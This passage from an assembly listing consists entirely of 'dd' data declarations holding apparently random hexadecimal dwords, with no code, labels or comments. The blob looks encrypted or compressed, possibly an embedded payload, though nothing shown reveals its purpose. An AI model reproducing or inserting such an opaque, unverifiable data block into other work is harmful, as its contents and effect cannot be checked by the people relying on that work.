0C5A7B4C0h dd 46A84C05h, 0FD55DA90h, 0EDDC8C8Ch, 395799Dh, 0DAEB52A2h dd 2006D601h, 8EEDE703h, 14A3F4E9h, 189EC592h, 7274187Dh dd 1CEB8050h, 680C16E0h, 7015E114h, 699900ABh, 6C904F10h dd 83018735h, 15AD43F7h, 0C0984577h, 0D519417Ah, 0E9F42C30h dd 14BDCAEh, 93F98DFEh, 0D01B89E7h, 7809877Ah, 8D16B792h dd 71D98980h, 22129848h, 6818BF91h, 0B651442Ch, 74E8E6E3h dd 1B74F1h, 83C674EDh, 8B536E67h, 0DD2F0E14h, 20199D94h dd 118009C8h, 0A62EDB8Dh, 0EB19E615h, 96600375h, 92ED108Ah dd 0DA278090h, 12DF5ACBh, 906202F4h, 0B6D03B18h, 0DC4D5428h dd 628A78Fh, 586A55D6h, 833C8C48h, 0F0C939E2h, 7443A59Ah dd 88A1180Fh, 5E68F10Ch, 1FD55305h, 403CD15Ch, 0A1B80CE2h dd 9F390B87h, 8E984303h, 0D828170Eh, 0C696B3CFh, 41748891h dd 31103C37h, 15D63C4Ah, 0A471EAE6h, 5A464D06h, 58A0D979h dd 34A515B8h, 42FE8E4h, 44FE8EFAh, 16A14287h, 0AC240C87h dd 1B8B8CCh, 2E0B8DA8h, 44582C2Dh, 4CBC7848h, 60FEBA8Dh dd 15C19122h, 0A8908FF5h, 7835EB22h, 200D675Ch, 6166E612h dd 80543950h, 13382084h, 0F80CFDEAh, 71128AA0h, 96B90093h dd 4D7F6A99h, 0CD060233h, 767A2CF1h, 0B670A091h, 88B90328h dd 38ECE705h, 15058172h, 9A87E30Fh, 923E2032h, 94F63BCh dd 1C441708h, 0F29C0Fh, 0D619F9A0h, 0B212160Bh, 104F0C47h dd 900B017h, 1996863Bh, 3F1CA1DAh, 320085CFh, 0D0BC35ADh dd 0B23400D5h, 0AAD45A90h, 210008B5h, 4CE770F3h, 19E95B3h dd 20A18614h, 0D4579D98h, 1A0042AEh, 13BDFF7Fh, 19E5BE1h dd 0B0BE2AF5h, 0F725DBD9h, 0C10840BEh, 139793h, 34A2984Ah dd 42007DC7h, 0C809AB08h, 5E0D26h, 9A1690B5h, 50DBC597h dd 0E6713300h, 0C393C46Ah, 3A86002Dh, 34A3BB44h, 4C587DCDh dd 40FA980h, 0EF8D5FBh, 64BE1FADh, 0D887C736h, 0D02074F7h dd 11CD525h, 0ED19AA75h, 0E811C3E5h, 0B4002B3Dh, 9493D851h dd 60A5B757h, 0CF584020h, 0D000BBCh, 23C8FDE6h, 7C75E06h dd 0B0C64739h, 1F56A0DDh, 0BDFCBE9Bh, 3BD33708h, 0ABBC0284h dd 0FF00D259h, 0BB2EE5h, 0C95DE121h, 97C11DADh, 3DF4CEE4h dd 3879E71Fh, 1AC43700h, 56A6B8h, 9C35ABF5h, 0B118F2BCh dd 0FBB2B13h, 0BA943814h, 440093ECh, 0D15BA7BDh, 1A45AEh dd 21C8FCE6h, 0A1BC5DE0h, 0A79A4700h, 0F33A11C5h, 133F4ECh dd 2DD8A2B4h, 0F820A8C1h, 0E1F3FAAh, 7E800C9Ah, 9426BE03h dd 3ACE002Ah, 98B8D346h, 61003DA5h, 0CF27B6D0h, 0F57DCA0h dd 0BB22A8C0h, 0F64046CCh, 2A73200h, 1C942BC8h, 1B953BB2h dd 0E0F9CBFh, 0E880373Bh, 9731CF23h, 6AB22D00h, 34A1BB4Dh dd 1AD700Eh, 0CA02A90Dh, 6615A22Ah, 3AF0AB8Ch, 1900ADCDh dd 9C57A798h, 3E02F7AEh, 0CE01317Ah, 0A9F05DA1h, 0DCC90021h dd 71360037h, 967D4BBBh, 86000897h, 0AAD91994h, 7181CA1Ah dd 1760F0Ch, 35E00FC5h, 0BC1962C1h, 0A9AB100h, 0B6E24C22h dd 95A00E70h, 6AC054C4h, 45A2BE1Dh, 7B0CB00h, 0B232E5EFh dd 5DD400D0h, 0C348A8E2h, 8009A96h, 0E7E1F24Fh, 8FBF27h dd 6A8C13D3h, 33ADC02Ah, 0B830E00h, 0BF70AB07h, 76E20521h dd 824361D0h, 0E421DBACh, 383051BEh, 0A30899DEh, 1FF47F04h dd 0C026A99Ah, 6C24D1B1h, 0FA70A576h, 4815770Ah, 553490h dd 81AD182Dh, 770E6658h, 8002FCB0h, 0E83035F5h, 181CAEB1h dd 10C40188h, 65008CB4h, 740BD0A3h, 30A1040Eh, 31299590h dd 2102529Ch, 6CF1D027h, 6074F810h, 94502137h, 8800EC52h dd 0BFA3FEE3h, 0A295FBh, 2558E3Ch, 6C2D9490h, 0F85879C0h dd 6F1B846h, 0F911E76Bh dd 30BE0853h, 465F3980h, 225EE037h, 0CD00E52Bh, 413DD5FDh dd 0EF1187Ah, 32ED115Ah, 43835FEEh, 42808290h, 0FE0057C5h dd 77B5929Eh, 16EA4DFh, 0EBE87891h, 7C15D4DAh, 5B82006Ch dd 0B86A9661h, 8C0454D8h, 0BF740090h, 770BD2C3h, 9D569EE5h dd 5269201Ch, 0E500A43Dh, 2641ABBAh, 230102AAh, 5C8EF814h dd 0A84048C1h, 0C055D97Dh, 98892768h, 9066C51h, 0B45BB593h dd 341272A1h, 8508F72h, 0F9C0D398h, 46F19D46h, 0B542253h dd 0AD466038h, 0AE2EED81h, 0D798E04Ch, 407DF91Eh, 864179C1h dd 12A2D54h, 87A27894h, 707852h, 0A3EDDC3h, 5F16EA5h, 881D15ADh dd 0E3884007h, 8CFBABB4h, 954C8906h, 5D08D184h, 0C800ECD7h dd 8D0EAB9Ch, 36608974h, 0C912E360h, 2398A3E1h, 96201B50h dd 0B98CFD14h, 80E08828h, 3CABA2C6h, 0DD0345F3h, 744E62EFh dd 0C16ACB36h, 9841B552h, 80782B94h, 601E6064h, 23F2ABB3h dd 0DF11818Ch, 0AB9BC900h, 33E6A98Ah, 7207ADE4h, 1E3A955Fh dd 6890A6F4h, 0C947Fh, 0B0414FDCh, 9B1106CDh, 0F100F47Ch dd 0B40D17D2h, 0C04AE568h, 3C8CFE91h, 80A18FECh, 0A55280E8h dd 0E6222D1Ah, 0FD2E0049h, 0B4A120B7h, 0E23E485Ah, 0F81203E1h dd 0E8726793h, 4AD95505h, 4564D19Eh, 3AA044A4h, 1D923C8h dd 0F1E249B9h, 84C4C92Ah, 6E951248h, 22C31897h, 0D31900C1h dd 8CDFE3ABh, 96094C11h, 5A6E2060h, 0D0B02080h, 4E3EF30Fh dd 9FD3E377h, 695A318h, 89BFED8h, 8E005970h, 0D9D8F6B5h dd 6B02318h, 90124067h, 0BF12216Ah, 64029D69h, 802DE793h dd 3531741Ch, 0F7AE043Fh, 0A9E5E614h, 8CDE0180h, 9D612D90h dd 64EB9E3h, 0F22E5420h, 6B472434h, 49AC1CA4h, 0C820E92Ch dd 0D3534486h, 0A8111301h, 0D2975FC2h, 1FF4684Dh, 0E97B31h dd 0D929338Fh, 22E3659Dh, 0BCE54D2Ah, 0C2F10F06h, 10F9A0h dd 12FC5D02h, 0D26715ACh, 6CB02226h, 604674h, 0DD2D12C1h dd 0E2DC71D1h, 4A60C1E9h, 216B9A8Ch, 733C7D00h, 7384AB54h dd 80372D3Ch, 76DB47E8h, 55827Ah, 5A59A4A2h, 0B11702Eh dd 96F02803h, 0EAF1139Eh, 4424675Bh, 0A0BC605Eh, 5CE60DC6h dd 1904BD1h, 0A48684h, 266EAF3Dh, 8B0A746h, 9002D60Fh dd 0CA208C12h, 30F28664h, 0FD8602D9h, 0A888A26Eh, 12BDD0AEh dd 80E027FAh, 0A2D517F6h, 33F4680Fh, 9CE05207h, 0CF21C0E2h dd 0E617D51Fh, 8148F858h, 773D1B2Eh, 99E8B9B2h, 3F46FB30h dd 0E8A1F1B3h, 46FA2E60h, 0DDBF097Ch, 0F082A53Ah, 0E721EFFCh dd 69A43FECh, 15C907A2h, 9290D11Ah, 3C9FDAA8h, 8C806191h dd 0AFB835Ch, 0A9F15718h, 974BD58h, 0D8C6ED6Ah, 42C3078h dd 0A1C3C09Ch, 0B427AB52h, 5320A562h, 485299h, 0E0F4415h dd 0F1ECD2DDh, 0DC7F122Ah, 13189400h, 0E41703EAh, 0EB9825BAh dd 1B2C8CEEh, 4D131DADh, 0ACAE0000h, 244BB9BCh, 60B06618h dd 0A6596140h, 0D69D100h, 0D009F420h, 28BA068Ah, 29E12B66h dd 47221D01h, 0A630E64h, 3F7571E0h, 2882D0BDh, 0B0267F76h dd 30B35D61h, 30EFA314h, 8097A488h, 0F249D714h, 16FC0459h dd 800E47BEh, 0DD2311FCh, 1B009098h, 8CAA287Ch, 0C03FC564h dd 8EE077C0h, 49499974h, 0D512085Ch, 11C8260Ch, 0BCF840B1h dd 1D04E040h, 204FEDE7h, 6C282C90h, 0B1488065h, 8C5DE8A0h dd 2E42C39h, 72ED4B15h, 54E884EAh, 0DE88E4CEh, 0D29AD0C0h dd 79B10F31h, 0AFC34A7h, 14E689B2h, 671E3C68h, 2C393127h dd 4C72E7h, 59085189h, 27D6FC44h, 0AC4427A8h, 18BD4500h dd 8A57AA7Eh, 63947D0Ah, 97D396Fh, 0E10B44F9h, 8E99938Fh dd 7A107C09h, 0FE0498ECh, 784092A0h, 69CC030Ah, 122772F6h dd 3EBE2588h, 76D72E0Bh, 0B57C0228h, 6818C119h, 0E8C403Ah dd 4E8F160Fh, 0C839920Ah, 0E706BC63h, 2C5994EEh, 21D38EF3h dd 46A4A0F8h, 0ABB6021Fh, 1C998CF1h, 0AB9ECA01h, 0E2ED7583h dd 43F879C5h, 64611827h, 0A917704Eh, 9D040E12h, 52A0B860h dd 0B0272115h, 529854C0h, 152E1E0Dh, 48C60F87h, 9C45A989h dd 6F60A4E4h, 6A03A9C0h, 0B44115A0h, 1198064Fh, 0C9401467h dd 0D9D1A4B1h, 2F021D18h, 6D12E4FFh, 0C7840DCh, 90B8273Dh dd 141A1861h, 5574480h, 4D8F007Fh, 65B1DA19h, 0A9C3A291h dd 0F149B448h, 67302F59h, 0DDBD0228h, 0A551C9D4h, 10E3FC49h dd 75FF2DFh, 50CD8E20h, 5604E3ECh, 0AADD380h, 32E53E02h dd 40C012FEh, 490853F8h, 0EC003C67h, 0AED17681h, 10003006h dd 148AF386h, 51AD42DAh, 919E83E1h, 75AE0012h, 98820CBFh dd 7A0AFC04h, 0F8982377h, 20494081h, 0B839270Ah, 960BAC57h dd 0E3582440h, 2D681701h, 1C473A06h, 4C0AF33h, 18F08B96h dd 0A16908A4h, 0A6EC60FAh, 7E55E200h, 0A0759286h, 0F24097Dh dd 2C824B5Ch, 24C6DDA8h, 20B01055h, 48C9FE8h, 271752A2h dd 20C8E80h, 9D529A6Ah, 4CCC81B1h, 0F3F3AD55h, 48D8E490h dd 0B64625F2h, 4846C8E2h, 982F5C44h, 8C905658h, 926A9501h dd 63222CFEh, 96123C8h, 0D41AD520h, 0F844C864h, 0D5281FD6h dd 0F229C0C9h, 0A0E37BB1h, 210F8D30h, 0A96FF3Ch, 34D55C8Fh dd 13AF05C0h, 888C50A9h, 0D7ECDC5Ch, 0F0944C8Ch, 84365D10h dd 13A48Bh, 0EBC5A2A4h, 1A00BE65h, 20A16794h, 69B5613h dd 0B9548CF0h, 2BFA383Dh, 8E09F8A4h, 9D930320h, 80DC112Ch dd 3C3E32B9h, 68EC0465h, 0C0114BB5h, 76892CF8h, 686B2526h dd 0A4A4AF28h, 5D586012h, 0A664409h, 902E449Ch, 9DEE389h dd 96E0828Ch, 1058E4h, 0F0D2715Ah, 3F09E885h, 2B143806h dd 0B616689h, 41FB5C9h, 12619001h, 5173F767h, 6379A767h dd 0ED5DC20h, 0ABE71283h, 28F88055h, 59406061h, 0B2DE1017h dd 0A05850EDh, 529D048Ch, 0F2982712h, 954FC000h, 0E5C52h dd 7793045Bh, 0C2E3B51Ch, 0D0EC7C28h, 4D748C09h, 2F4F041h dd 0F467912Bh, 4041096Ah, 8131866h, 14689ED5h, 0D340FAC4h dd 3CE1D51Bh, 0C2583D00h, 1951444Fh, 0AE6A053Fh, 60698143h dd 0DF77A6C0h, 0B54A8C71h, 0AE83B002h, 2408AB4Ah, 0B08217E8h dd 46FE3096h, 0FBF1BA12h, 2B03E88Bh, 361A4665h, 4312AD98h dd 0C354BB10h, 0F91D8D00h, 0DDEAD37Dh, 0ACE55628h, 2334F048h dd 0ABB80129h, 0EA98CF7h, 0ABA0C40Eh, 8A01AEAEh, 62085EB0h dd 58FB00FCh, 0BF63E20Bh, 3CE80709h, 30667980h, 0A213D79Dh dd 30B8FB05h, 0F4D8DEE4h, 2E0E4A25h, 0A32330h, 0ADFBAFF0h dd 0AC27C131h, 0B6CCE1B1h, 82C2EDECh, 2745ECEDh, 0EFF2F0C7h dd 20EC58A4h, 65094580h, 17978EDh, 0D8FA26Ch, 899F399Eh dd 68A5C8BCh, 8BBC949Dh, 0C037C8B0h, 0A0833C7Bh, 7E894105h dd 0AC405A08h, 3925B5AFh, 9870034h, 0E09782F3h, 0FD017A8Bh dd 273E35E6h, 4038A889h, 23682F4Ah, 109F01DEh, 29C2C176h dd 78029614h, 7E91A119h, 0D5C987C8h, 90202C2Ah, 6B4A387Bh dd 94EE501Dh, 7FAD0840h, 0BDDC03E6h, 0D33F377Bh, 9859E5BAh dd 0A0B41D16h, 2DA00568h, 0AD603C04h, 3D6300A4h, 0C2155606h dd 0D42058B7h, 9131A40Bh, 0E823CC9Bh, 0D5210060h, 3424689Ch dd 0D1F94486h, 0D5293Dh, 0B457D0D4h, 54C2F164h, 990DC84h dd 94039F8Ch, 40FC882h, 82260221h, 110AB472h, 98D5C7h dd 9AE68F41h, 0E70F8C56h, 2133327h, 0C1F2FFF9h, 0D2E104h dd 4C5C3CB4h, 183A7490h, 0F0E6882Dh, 912E84A9h, 0E3F0A448h dd 7F14E55Ch dd 260EAC40h, 35E41D2Ch, 833C050Ch, 15C4C045h, 0EC8010F4h dd 39612E5Ch, 48A691A0h, 629422A4h, 0F439F643h, 0D0339CAFh dd 0AD8ADCBCh, 0E178C74h, 2C5C954Ah, 0F87B5C6h, 41160D70h dd 3F385178h, 88E28408h, 72800D2Bh, 0BB01A394h, 364F487h dd 9E1C8E95h, 3ECBA86Ah, 54EC310Bh, 0EB7822BDh, 0CC48E951h dd 0F04512D2h, 9B60A5C4h, 22E850Ah, 560AE006h, 9000ADA0h dd 87610BA3h, 2E074A5Ch, 382380h, 88429814h, 2D300208h dd 0E7BEE9EAh, 0CC7E92h, 88618B38h, 5D02961Dh, 0D8946934h dd 0D5E170E6h, 0E2BF4F0h, 88F669C0h, 0E8F3364Fh, 4014BA51h dd 0EF781348h, 35E16415h, 0C0F92DF8h, 4485A12Ch, 0AA05580Ch dd 0AFDC60CEh, 0B0EC70CCh, 38A55DB1h, 921AD201h, 6CD129B5h dd 10FC4C60h, 0A47390AEh, 53E200B4h, 0E870E135h, 60006428h dd 203E2FD5h, 0FD21F89Ah, 0B8104C8h, 543C8EFEh, 0B384A7h dd 0D742F357h, 448A74Eh, 9634800Dh, 0E57FA443h, 95B2B503h dd 0F3138836h, 0A4814146h, 0F8F731EEh, 634EF1B7h, 2A742Ch dd 0CBF74666h, 0CD073E09h, 0F4470F1Fh, 0F34018ECh, 3564F84h dd 6D93833Fh, 2DFB12CFh, 0CC08714Bh, 87C909E3h, 1C012CB7h dd 0CB843574h, 0E6DD2A00h, 0EDD0CC81h, 0F881B52Dh, 3C688847h dd 34967168h, 0C4E9B280h, 13272EB6h, 0B424039h, 0C085ACE4h dd 0B2D8819Bh, 0C80405E8h, 15205654h, 609410B8h, 9D802891h dd 0D18CF8ABh, 0C3DB448Ch, 0EAABA500h, 0B294053Dh, 0C9552F04h dd 6518C800h, 0AE13BAFBh, 0CCC22913h, 48C697h, 0AC6578E8h dd 0C5858FF8h, 0D0BDCE01h, 0F71E98EFh, 150133Fh, 0E077F949h dd 54436E2Dh, 0A1D1D27Ch, 78281168h, 60292580h, 3C946312h dd 9EEF1885h, 60091088h, 84531971h, 9200660Dh, 0E41F6542h dd 79FD38Fh, 0C01379E3h, 8C9D94BAh, 9BFCBEB8h, 1863E8A1h dd 0A1D50416h, 3233FC68h, 1ECC20FBh, 0C10099D5h, 9A5A3774h dd 178D7ACAh, 42A6783Ch, 0EAECC3D0h, 5C252450h, 0E5544175h dd 8A920C3Dh, 0CEDCC828h, 31A1E8E0h, 24B8C02Eh, 68592D0Bh dd 1D78295Fh, 803E9194h, 0CC86BE63h, 0D1970B65h, 0A402818Fh dd 0AC005654h, 510585F9h, 0A420D75Eh, 30EF5EA9h, 1522E3D0h dd 174AF240h, 853C2D8Ch, 0B378A70Ch, 8D8BC029h, 3065308Ch dd 0F1246350h, 0A368E462h, 0F95460B5h, 72DD10F2h, 0ABF000D8h dd 0C4B2DF4Eh, 51656008h, 0A8E50452h, 7DC57505h, 0B5004051h dd 0E743EA2Eh, 431D4CEh, 78CF9E8h, 0D28D6966h, 0C0E257CFh dd 3955748Fh, 0AEE10281h, 0DEB8843Ch, 0E932008Ch, 6CAC8197h dd 42F949B6h, 6B0063F4h, 0C1F052D5h, 21748CF1h, 0F070A8AEh dd 0F8241050h, 1C802430h, 3F0A9h, 3A9E0C70h, 82713C5h dd 3502F227h, 0B36A80D0h, 19D181DAh, 0E459270Ch, 0FEED9957h dd 0B8880ECh, 0CBFF1C0h, 0C7776A0h, 0A87AEDDh, 243B8919h dd 1A3F8470h, 0B8C1D164h, 3B2B9044h, 602328h, 22A61474h dd 232577D3h, 3A6C8075h, 2DE0EFAh, 13AFF852h, 0EC73E3D9h dd 154B5A7h, 8225D881h, 0EBA424A1h, 0E5E96000h, 129F32Bh dd 0AA0203FCh, 0B1E686D6h, 0C8ACDAF8h, 4147B49Eh, 38467C48h dd 0CA7FE707h, 0ECE9E0AEh, 424D7C3Ch, 0A1231F3Ch, 0E0F858E0h dd 0D8668325h, 23B03D53h, 46FC0198h, 590BF1B4h, 2D20CEFCh dd 1DB4663h, 1887A6A3h, 200C4ECFh, 0D7405E44h, 0C8592492h dd 0E5C98204h, 48C412BEh, 54866DE8h, 58EA4B9h, 74DAEC33h dd 88DCF8DEh, 592E8249h, 0F4724BC4h, 0CB63E20h, 5C081EBFh dd 0E0008099h, 4769B73Dh, 0E1888Ch, 6083ABC3h, 0F07FADDEh dd 84483728h, 91E76B21h, 0D40C5128h, 79F6F9F8h, 4206EC40h dd 0B02B4ED6h, 7000D723h, 2AE2378Fh, 84F8A8F5h, 3ECD288Ch dd 516B2ED0h, 0A891A0h, 0FE6CEF61h, 1CCB8BDFh, 1858AD27h dd 67B8F86Fh, 74E64005h, 2093A0D5h, 48B4E22Ah, 49F1736Ch dd 0BFBC608Eh, 0EF5A300h, 0C5801E0Fh, 32E6E245h, 0A299ACECh dd 804910FCh, 20617C00h, 0ED4001B3h, 0C5270E90h, 1B2DD011h dd 9C49E601h, 0F23B6491h, 6819A8B1h, 0F0486679h, 7A859h dd 28290E5Ah, 0D9ECF9DAh, 1B6E3D04h, 0A24FB7h, 223860F2h dd 433405A8h, 0D2C4BAE2h, 0F0722CC0h, 59D15D00h, 0F410D7C7h dd 0C0FB050Bh, 809EDA3Ch, 9721961Dh, 202B3825h, 5FF8DDF8h dd 0EB1F0126h, 7C22BC7Dh, 0B8047007h, 0AA133D40h, 44B44794h dd 15D26061h, 0F07C1699h, 6DF4483Eh, 0AB5930Bh, 60656853h dd 4089C48Ch, 7410ECE4h, 0C483981h, 4C54D10h, 2F8D5CB4h dd 20102CA9h, 10EFC9E7h, 89129200h, 2CACFC96h, 9119F65h dd 0CAD8A4h, 4BF327DBh, 0B8EC3404h, 555BCD17h, 5E390100h dd 5C096B17h, 0EC94144Fh, 15BC2B7Ch, 8DE2070Ch, 14976B02h dd 0C3805F91h, 6AC5E90Dh, 0E5D2DD13h, 66DC3C21h, 1040BA0Ch dd 92547386h, 747948A8h, 0DE4ADB3Ah, 3FD480F4h, 48F0A71h dd 7F2AE41Dh, 0E824E9A4h, 62310069h, 8171E9C9h, 7413F447h dd 8C8E2E6h, 5D042059h, 2B84C6Bh, 2383900h, 94730E18h dd 30202C59h, 0AE694090h, 14D28A2Eh, 0E494042Fh, 3D87AB43h dd 0BE8FEBBh, 147B29A4h, 0D0A67C3Fh, 8B3F8E28h, 0DC7F8FA2h dd 2100F631h, 0DEDF28D3h, 1A3A0002h, 0A112C148h, 0E2003EB4h dd 3C909BFDh, 2553A534h, 886140BFh, 0A083053Dh, 4D10248Dh dd 0EA0B4F64h, 0D2D198E9h, 60951900h, 7B504430h, 5D02A909h dd 308786Dh, 648EFE1Ah, 10176AF3h, 44200F67h, 9CAD548Ch dd 8F760498h, 0CA92Ch, 0B8B94EFAh, 48C1A5D3h, 0D042DD7h dd 816CB013h, 2A64A830h, 28107C24h, 0C8612ECFh, 65CFE389h dd 60DFE4BCh, 1DDB53h, 6CF37CF8h, 6536335Fh, 0E5801CB1h dd 4A11E9BCh, 94AB0786h, 1444612Dh, 10EC146Bh, 30CFA1Ch dd 0E0B0717Dh, 0FCD87841h, 0A2D3303Dh, 0FD8C8EA0h, 5013325Fh dd 74908430h, 9BDA4F5Dh, 960202Ch, 0E902ED6Ah, 7C93045Eh dd 0D5656080h, 0A6372E93h, 0BA170510h, 0BCF8C020h, 0E0A0FA19h dd 13813D2Dh, 0C6444020h, 28B86B39h, 2CE6F302h, 64661C61h dd 11A3217Ch, 854D8C08h, 5F102867h, 208F13B0h, 812C792Ch dd 0FCA3709Ah, 287C41B2h, 58F4954Eh, 120A1364h, 58621C3Dh dd 90403905h, 58C040AEh, 7AE393E6h, 5FB0C405h, 34C1C94Fh dd 0F30D112Fh, 0BC6B890Fh, 5CD03204h, 1857EE3h, 89B76835h dd 0E00A19D0h, 0A4F06B08h, 72749253h, 0B484EA4Fh, 528824CEh dd 3FF74EC0h, 87A30160h, 0A0679434h, 598841FDh, 88A60CABh dd 209590B6h, 49CECAECh, 596D3F19h, 80D1A39Fh, 0B4578B64h dd 0C8FD0EB9h, 409042CFh, 6C543410h, 734CC84Eh, 9601AEE4h dd 88018927h, 5260CA4Eh, 1E12007Eh, 0B0C9D7B8h, 31C09F91h dd 334049B4h, 0AACA0766h, 0D02A4AE4h, 0E16453FCh, 0B895FA32h dd 41DC335Dh, 0B656DD6Bh, 51883C28h, 0A80C67h, 0E4F9BA95h dd 0D42B137Ch, 0AA9128F1h, 0F8682E27h, 3D007606h, 43E7A3D2h dd 175F9ABh, 1512667Ch, 535EBC41h, 0F3D4F034h, 30D9B2B8h dd 0B80948EBh, 0F072C57Dh, 3AF49420h, 4582DCBBh, 91558EACh dd 9E1ED090h, 30ECAD00h, 0B27AFACDh, 0AC77003Ah, 70699BF8h dd 372446E6h, 400CA898h, 4438B03Eh, 0A650FD54h, 91446980h dd 0A5DE0405h, 81442D1Bh, 8B4B2ECh, 6B49226Ch, 133B1B23h dd 37307215h, 0C0691221h, 2271843Ch, 0BA2D3ECDh, 0E404EE0h dd 0D6DD0F20h, 3A9C13B3h dd 3DA23A0h, 5FA8EEE3h, 0F0448DB2h, 0FEE56908h, 118D78EFh dd 74CB28D7h, 69C1DDC8h, 14CCE65Eh, 0F96E0190h, 0EDE25A7Dh dd 41AC4165h, 436A029Fh, 944DC2Ch, 3F98405Dh, 5CFC48h dd 0C397AC01h, 0FBC1EE4Eh, 4D75CD00h, 14B90F3Bh, 44D4B9ECh dd 58664B95h, 0D86F221Ch, 0FB441890h, 1F777BBEh, 522CCD3Eh dd 0C630B19Ah, 0F3016C44h, 3ABB7250h, 0A07071E3h, 0A50D04B2h dd 0C1059B6Eh, 0E2DA8Ch, 60FC09h, 258EB981h, 8DE793EAh dd 0ABAA0600h, 0F097A290h, 0DF51220h, 0F290B203h, 0CFFF30F5h dd 1CA0538h, 6410AD57h, 7C3D7455h, 0E6E2DD82h, 0E533620h dd 0B523122Dh, 0E284B202h, 97AD3055h, 0B789C400h, 2A01ED5Dh dd 7494ACD2h, 0F2C5093Ch, 0D4C56A13h, 0EF60A5E4h, 697F2F0Fh dd 2BDB2305h, 6AC52E1Ch, 0DED87880h, 0C0654B8Eh, 8728C904h dd 58957704h, 7CE46F20h, 3FB4BE26h, 0A0E8599Fh, 0D267B101h dd 0B7B56413h, 46B4022Ah, 9490E860h, 68903C27h, 0B7021A46h dd 0A18CFEABh, 0C5003CE7h, 0DD55AB9Fh, 3F813E68h, 42EAB31Dh dd 0A941748Fh, 36B8C8EBh, 2D0528EFh, 3564681Ch, 0A2E5E481h dd 0E4DAF100h, 9893DF4Ah, 72D3F202h, 0CE164E08h, 0C03D885Ch dd 0DC9A056Fh, 271E0805h, 38879F59h, 6B43F3h, 57A930F1h dd 12AD5C79h, 39DE0E00h, 3DF0291Fh, 2B35002Fh, 0EFAA6AB8h dd 4C25E98Ch, 6128CD07h, 2E4C882Dh, 69176820h, 5B953D51h dd 0F7717787h, 202758h, 0A3C540A0h, 8667B400h, 0D9AE12E5h dd 20AA5F28h, 73C57674h, 842A3905h, 907B88F6h, 0CF80F23Ah dd 0B0DA5F99h, 2E2440E8h, 48C1101Dh, 2E3860h, 44B3AC54h dd 14906A75h, 3352C4B2h, 25E63CF0h, 0E99C0241h, 3C6C5286h dd 0BC008AD1h, 60284724h, 0ECA0B595h, 0EF30E6FFh, 12F0918Fh dd 662809C0h, 94F9AC36h, 0E94A9D9Ch, 1DCBC0Dh, 64AAE94Eh dd 20C00DEDh, 3D05F388h, 1492656Ah, 50D4C880h, 60E33961h dd 5F788709h, 0D5A840B3h, 1C46689Dh, 0D001DC22h, 24BAD51Ah dd 87D82DC7h, 4610906Bh, 529E02A3h, 1CA02713h, 52965602h dd 0F1D81594h, 0C3D7003Ch, 0ADCA2F49h, 97AFF800h, 0EA318BE2h dd 0CF080BEDh, 68705084h, 4C8D7624h, 9B60A644h, 27252052h dd 800CE5C8h, 3952D351h, 9000D4Bh, 0CA6F30DFh, 0A0071EDDh dd 0B8892C94h, 0A605FFBh, 0C08C6410h, 68A0D515h, 9CCB044Eh dd 0D51DCD00h, 88AC47B8h, 105C4DEAh, 46DC0923h, 1344F86Bh dd 82C84127h, 4C60A348h, 0E34EBA21h, 448B8464h, 0DCC0D988h dd 950D3F1Dh, 924BD40Eh, 2DA14801h, 9D03289h, 504FBDC9h dd 49B3D7Ch, 524A048h, 83900170h, 0EDFDB8ADh, 6CD2DE54h dd 91008C90h, 443771E9h, 0C98FE2Dh, 0E884CFCh, 0F8E22FA1h dd 60725Ch, 0D830F403h, 5080F13h, 9A5437F2h, 0E29CE6CFh dd 3CAD846Fh, 0A6B86487h, 9214DE2Ch, 70B24F0Fh, 0E4CEC74Fh dd 1C03DC8h, 15A82Fh, 7ED3F349h, 0AC612E6Ch, 97F811BDh dd 906518F6h, 4676E8BEh, 4F130352h, 0F77DB8F7h, 0C8B8FFD5h dd 442995A2h, 0D8CD0040h, 0D177CF23h, 0F700792Dh, 595F2B12h dd 77A33E2h, 39F831ABh, 0AD67C566h, 0FD130124h, 5BF66490h dd 9C2C4061h, 8172E287h, 0D84E2745h, 403CA797h, 4E024418h dd 0D86E95h, 0A7B1812Eh, 0E5338BAh, 1B3DCBD4h, 87D0E460h dd 35B50779h, 42396D8h, 483074h, 8F0A9A17h, 4C03731Bh dd 0DE2E1CFCh, 0E4F90196h, 0D4C186BEh, 119D2102h, 0A6CC7B48h dd 8AEC006Eh, 0DC6A689Ch, 5E018B7Dh, 0CB215AC0h, 9F70CF87h dd 72E3249Fh, 39467424h, 0E1E7A900h, 0E40E1BE3h, 0C463082Ah dd 36448301h, 0A7C0D592h, 58794C0h, 0C20F743Eh, 0E878C4BCh dd 8C3ABCECh, 6DE670Bh, 2F084C82h, 4CE9C120h, 0E0882607h dd 6D3075Eh, 30B3FAE3h, 42044498h, 54BAE21Bh, 0E0EA8F0h dd 0CB156756h, 3128D156h, 8820389Fh, 0E3AC87D7h, 0AD5D4271h dd 1C9154D0h, 0F81855D1h, 62B3DC00h, 2D7FE11Ah, 0ACE50999h dd 0B8609C60h, 0FA27D513h, 8948C0F1h, 0FC89A48h, 3459AA91h dd 50EA4366h, 56C37BFh, 0F2F8AA07h, 30DDF288h, 4000D245h dd 0B4D0B9A2h, 9EB0DC51h, 69A90084h, 0B51E0FA1h, 0EBA4C30Fh dd 849469FBh, 0E3421334h, 0CCFC0522h, 0D2A52C09h, 32530160h dd 0C2E3C9D5h, 6B0021E0h, 0E023B43Ah, 0FB2F3700h, 7CBED58h dd 483BCEE7h, 0A82A74C8h, 6410276Ch, 9B6B017Ch, 6438592Dh dd 0DF6C796Ch, 185A240Ch, 0B8BA04B4h, 8079FD86h, 9164CF08h dd 0DE8C96h, 0FC9205Ah, 0ED5E5FD8h, 0EBA73403h, 0BBE70597h dd 4004A58Fh, 3E0B63CCh, 8101F8D2h, 0ECE643ADh, 3B2B050Dh dd 1F3D2338h, 0FB4B8FC2h, 61FF5081h, 0D7DC4081h, 0EB5AF215h dd 0C4F49C81h, 3A1C3C10h, 48FC1588h, 753A9810h, 83B8DE4Ah dd 0BA05349Eh, 816A20A4h, 5A005D4Eh, 6D79B78Dh, 0C2397Bh dd 1AE93021h, 444B9A19h, 0B7202E14h, 0E7070698h, 2F4159ECh dd 6C2989A2h, 0C5202079h, 3A09FDF8h, 229CA6Bh, 0C0E4FCh dd 0FE2855EEh, 0FC549001h, 18159F16h, 102C830h, 0BE13E9EAh dd 60A4A0C3h, 60159560h, 22C86BDCh, 6C979578h, 87805F91h dd 2E0CA55Eh, 28196860h, 5C6C8B7Bh, 89008D37h, 4CC29B2Ah dd 744EA2A4h, 0F801C488h, 0EC480E27h, 0B2A01321h, 61A4DE3Dh dd 33DDF30Ah, 4B61682Fh, 0B824E8BCh, 983C17ECh, 89BC814Eh dd 82E7BAEh, 3205D823h, 48BD2D5Bh, 